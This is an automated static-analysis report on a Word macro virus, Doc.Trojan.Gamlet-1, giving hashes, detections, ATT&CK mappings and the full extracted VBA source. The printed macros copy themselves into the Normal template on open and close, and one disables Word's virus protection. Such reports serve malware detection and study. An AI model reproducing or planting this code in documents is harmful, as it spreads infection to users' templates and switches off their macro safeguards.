Doc.Trojan.Gamlet-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 83efd8e0b42a9ca0…

MALICIOUS

Office (OLE)

48.0 KB Created: 1999-05-05 11:56:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 9678bac1dd1afd1f905d64dc45e70362 SHA-1: 7e376cb3d77b1624babfe93395437e5116637ef3 SHA-256: 83efd8e0b42a9ca044edffcd7288b2119ad86b04cf271e331d280c8ba8aaa766
260 Risk Score

Malware Insights

Doc.Trojan.Gamlet-1 · confidence 95%

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample contains legacy WordBasic macro virus markers and VBA macros, including AutoOpen and AutoClose, indicating a malicious intent to execute code upon opening. The ClamAV detection explicitly names this as Doc.Trojan.Gamlet-1. The AutoOpen and AutoClose macros are designed to copy themselves between the document and the normal template, likely to establish persistence or facilitate further execution.

Heuristics 5

  • ClamAV: Doc.Trojan.Gamlet-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Gamlet-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1809 bytes
SHA-256: 4ce6f4a5d41db41abfb608811d4d96b355bf2d5710d1b6517a043ac3f4610fea
Detection
ClamAV: Doc.Trojan.Gamlet-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Gamlet"
Sub AutoClose()
Attribute AutoClose.VB_Description = "Macro created 04/03/99 by Lmastudent"
Attribute AutoClose.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.autoclose"
  StatusBar = "TO BE OR NOT TO BE ?..."
On Error Resume Next

  Application.OrganizerCopy Source:=Application.NormalTemplate.FullName, _
  Destination:=Application.ActiveDocument.FullName, Name:="Gamlet", _
  Object:=wdOrganizerObjectProjectItems
e1:

On Error Resume Next

  Application.OrganizerCopy Source:=Application.ActiveDocument.FullName, _
  Destination:=Application.NormalTemplate.FullName, Name:="Gamlet", _
  Object:=wdOrganizerObjectProjectItems
e2:


End Sub


Sub AutoOpen()
Attribute AutoOpen.VB_Description = "Macro created 04/03/99 by Lmastudent"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.AutoOpen"
  StatusBar = "TO BE OR NOT TO BE ?..."
On Error Resume Next

  Application.OrganizerCopy Source:=Application.NormalTemplate.FullName, _
  Destination:=Application.ActiveDocument.FullName, Name:="Gamlet", _
  Object:=wdOrganizerObjectProjectItems


On Error Resume Next

  Application.OrganizerCopy Source:=Application.ActiveDocument.FullName, _
  Destination:=Application.NormalTemplate.FullName, Name:="Gamlet", _
  Object:=wdOrganizerObjectProjectItems


End Sub

Sub AutoExec()
    Options.VirusProtection = False
End Sub




Sub ToolsMacro()
'    Dialogs(wdDialogToolsMacro).Show
With Assistant
    .Visible = True
    .Animation = 24
End With

End Sub